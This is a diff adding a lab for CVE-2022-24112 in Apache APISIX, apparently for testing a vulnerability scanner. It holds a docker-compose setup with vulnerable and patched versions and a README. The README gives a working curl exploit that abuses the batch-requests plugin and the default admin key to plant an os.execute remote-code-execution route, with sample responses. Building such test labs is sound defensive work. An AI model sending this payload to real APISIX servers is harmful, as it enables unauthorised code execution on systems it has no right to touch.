Apisix CVE 2022 24112

apache/apisix/cve-2022-24112/README.md

@@ -0,0 +1,47 @@
+# Apache APISIX 2022-24112
+
+Apache APISIX has a built-in default API KEY. If the user does not proactively modify it (which few will), Lua scripts
+can be executed directly through the API interface, which can lead to RCE vulnerabilities. Normally, the admin API endpoints are restricted by the client IP address, but CVE-2022-24112 makes admin functionality available to any client through a bug in the batch requests plugin.
+
+
+This directory contains a deployment config for an Apache APISIX installation that is vulnerable to CVE-2022-24112 and uses a default API key.
+
+
+
+
+You can start both the vulnerable service and safe service by running the command `docker compose up -d`. The vulnerable container listens on port `8081`, and the safe container listens on port `8082`.
+
+In this case, the vulnerable service uses APISIX 2.11.0, while the safe service uses APISIX 2.13.0 (still with a default API key, so not fully safe).
+
+## Testing the vulnerability
+
+Run the following command, replacing `YOUR_COMMAND_HERE` with the command you want to execute (this won't be executed from this curl command alone, you need to execute the route too): 
+```
+curl -X POST "http://localhost:8081/apisix/batch-requests" \
+  -H "Content-Type: application/json" \
+  -d '{
+    "headers": {
+      "X-Real-IP": "127.0.0.1",
+      "X-API-KEY": "edd1c9f034335f136f87ad84b625c8f1",
+      "Content-Type": "application/json"
+    },
+    "timeout": 1500,
+    "pipeline": [
+      {
+        "path": "/apisix/admin/routes/tsunami_rce?ttl=30",
+        "method": "PUT",
+        "body": "{\"uri\":\"/test/anything\",\"upstream\":{\"type\":\"roundrobin\",\"nodes\":{}},\"name\":\"anything\",\"filter_func\":\"function(vars) return os.execute(\\\"YOUR_COMMAND_HERE\\\")==true end\"}"
+      }
+    ]
+  }'
+```
+
+Vulnerable Response:
+```
+[{"reason":"Created","body":"{\"node\":{\"key\":\"\\\/apisix\\\/routes\\\/tsunami_rce\",\"value\":{\"id\":\"tsunami_rce\",\"update_time\":1781196124,\"create_time\":1781196124,\"name\":\"anything\",\"filter_func\":\"function(vars) return os.execute(\\\"YOUR_COMMAND_HERE\\\")==true end\",\"uri\":\"\\\/test\\\/anything\",\"status\":1,\"priority\":0,\"upstream\":{\"scheme\":\"http\",\"hash_on\":\"vars\",\"type\":\"roundrobin\",\"pass_host\":\"pass\",\"nodes\":{}}}},\"action\":\"set\"}\n","status":201,"headers":{"Date":"Thu, 11 Jun 2026 16:42:04 GMT","Server":"APISIX\/2.11.0","Access-Control-Max-Age":"3600","Connection":"keep-alive","Access-Control-Allow-Credentials":"true","Access-Control-Expose-Headers":"*","Access-Control-Allow-Origin":"*","Content-Type":"application\/json","Transfer-Encoding":"chunked"}}]
+```
+
+Safe Response:
+```
+{"error_msg":"404 Route Not Found"}
+```

apache/apisix/cve-2022-24112/config_default.yml

@@ -0,0 +1,12 @@
+apisix:
+  node_listen: 9080
+  enable_ipv6: false
+  enable_control: true
+  control:
+    ip: "0.0.0.0"
+    port: 9092
+etcd:
+  host:
+    - "http://etcd:2379"
+  prefix: "/apisix"
+  timeout: 30

apache/apisix/cve-2022-24112/docker-compose.yml

@@ -0,0 +1,68 @@
+services:
+  apache-apisix-cve-2022-24112-vuln:
+    image: apache/apisix:2.11.0-alpine
+    platform: linux/amd64
+    restart: unless-stopped
+    ports:
+      - "8081:9080"
+    volumes:
+      - ./config_default.yml:/usr/local/apisix/conf/config.yaml:ro
+    depends_on:
+      etcd-vuln:
+        condition: service_healthy
+    networks:
+      vuln:
+        aliases: 
+          - apisix
+  apache-apisix-cve-2022-24112-safe:
+    image: apache/apisix:2.13.0-alpine
+    platform: linux/amd64
+    restart: unless-stopped
+    ports:
+      - "8082:9080"
+    volumes:
+      - ./config_default.yml:/usr/local/apisix/conf/config.yaml:ro
+    depends_on:
+      etcd-safe:
+        condition: service_healthy
+    networks:
+      safe:
+        aliases: 
+          - apisix
+  etcd-vuln:
+    image: bitnamilegacy/etcd:3.4.15
+    environment:
+      ETCD_ENABLE_V2: "true"
+      ALLOW_NONE_AUTHENTICATION: "yes"
+      ETCD_ADVERTISE_CLIENT_URLS: "http://0.0.0.0:2379"
+      ETCD_LISTEN_CLIENT_URLS: "http://0.0.0.0:2379"
+    healthcheck:
+      test: ["CMD", "curl", "-sf", "http://localhost:2379/health"]
+      interval: 5s
+      timeout: 3s
+      retries: 10
+    networks:
+      vuln:
+        aliases: 
+          - etcd
+  etcd-safe:
+    image: bitnamilegacy/etcd:3.4.15
+    environment:
+      ETCD_ENABLE_V2: "true"
+      ALLOW_NONE_AUTHENTICATION: "yes"
+      ETCD_ADVERTISE_CLIENT_URLS: "http://0.0.0.0:2379"
+      ETCD_LISTEN_CLIENT_URLS: "http://0.0.0.0:2379"
+    healthcheck:
+      test: ["CMD", "curl", "-sf", "http://localhost:2379/health"]
+      interval: 5s
+      timeout: 3s
+      retries: 10
+    networks:
+      safe:
+        aliases: 
+          - etcd
+networks:
+  safe:
+    driver: bridge
+  vuln:
+    driver: bridge